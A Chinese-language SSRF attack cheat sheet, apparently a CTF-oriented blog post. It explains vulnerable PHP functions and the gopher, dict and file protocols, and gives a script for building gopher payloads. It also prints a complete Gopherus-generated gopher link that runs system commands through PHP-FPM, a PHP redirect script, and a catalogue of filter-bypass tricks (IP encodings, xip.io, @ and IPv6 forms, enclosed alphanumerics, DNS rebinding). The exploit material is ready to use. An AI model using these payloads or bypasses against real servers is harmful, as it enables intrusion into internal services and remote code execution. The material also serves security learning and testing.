ssrf 服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
危险函数 下面是几个可能会存在SSRF的服务器使用的函数:
1 2 3 4 5 file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。 readfile():输出一个文件的内容。 fsockopen():打开一个网络连接或者一个Unix 套接字连接。 curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。 fopen():打开一个文件文件或者 URL。
 
example:
1 2 3 4 5 6 7 8 9 <?php $url =$_POST ['url' ];$ch =curl_init ($url );  curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch ); curl_close ($ch ); echo  ($result );?> 
 
常用协议 http http协议用于访问内网资源/扫描内网存活主机
dict 可以通过dict协议根据响应时间和内容去扫描内网开放端口以及端口上运行的服务信息
example:dict://127.0.0.1:6379 //探测redis是否存活
file file协议主要用于访问本地计算机的文件,在有回显的情况下,可以用于读取文件进行查看
gopher 格式:gopher://<host>:<port>/<gopher-path>_<TCP数据流>
如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
通过脚本转换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  urllib.parse payload =\"""POST /test.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 test=1 """  tmp = urllib.parse.quote(payload) new = tmp.replace('%0A' ,'%0D%0A' ) result = 'gopher://127.0.0.1:80/' +'_' +new result = urllib.parse.quote(result)print (result)       
 
利用方式 攻击内网Redis,FastCGI,MySql等服务
浅析Redis中SSRF的利用 
通常会利用Gopherus 等工具
1 2 3 4 5 6 7 8 9 10 11 MySQL (Port-3306) PostgreSQL(Port-5432) FastCGI (Port-9000) Memcached (Port-11211)     If stored data is getting De-serialized by:         Python         Ruby         PHP Redis (Port-6379) Zabbix (Port-10050) SMTP (Port-25)
 
ssrf打php-fpm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 root@lewiserii:~/Gopherus-master# python2 gopherus.py --exploit fastcgi   ________              .__  /  _____/  ____ ______ |  |__   ___________ __ __  ______ /   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/ \    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \  \______  /\____/|   __/|___|  /\___  >__|  |____//____  >         \/       |__|        \/     \/                 \/                 author: $_SpyD3r_$ Give one file name which  should be surely present in  the server (prefer .php file)if  you don't know press ENTER we have default one:  index.php Terminal command to run:  ls / Your gopher link is ready to do SSRF: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 
 
传入时记得将生成的payload下划线后面的数据进行url编码
bypass ip限制 例如限制了127/172
1 2 3 4 5 6 7 8 9 10 11 12 进制转换 10进制 http://2130706433 8进制 http://017700000001 16进制  http://0x7F000001 长度限制 host<5 url=http://0/flag.php url=http://127.1/flag.php host<3 url=http://0/flag.php  //在window下代表0.0.0.0,而在liunx下代表127.0.0.1
 
url限制 
解析到内网的域名
 
xip.io、xip.name、nip.io、sslip.io等
1 2 192.168.0.1.xip.io >>> 192.168.0.1 localhost >>> 127.0.0.1
 
利用@转跳
 
1 http://www.baidu.com@10.10.10.10 >>> http://10.10.10.10
 
利用句号
 
 
利用IPv6[::]
 
1 2 http://[::]:80/  >>>  http://127.0.0.1 http://[0:0:0:0:0:ffff:127.0.0.1]/    //在liunx下可用
 
利用短网址
 
不允许出现某个字母或者限制了url长度,我们可以切换为短网址,来绕过长度的限制
302跳转 vps上放个php
1 2 <?php header ("Location:http://127.0.0.1/flag.php" );
 
或者
1 2 3 4 5 6 7 8 9 10 <?php $schema  = $_GET ['s' ];$ip      = $_GET ['i' ];$port    = $_GET ['p' ];$query   = $_GET ['q' ];if (empty ($port )){     header ("Location: $schema ://$ip /$query " ); } else  {     header ("Location: $schema ://$ip :$port /$query " ); }
 
enclosed alphanumerics 绕过 一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
1 2 3 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ  Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
 
DNS重绑定 从0到1认识DNS重绑定攻击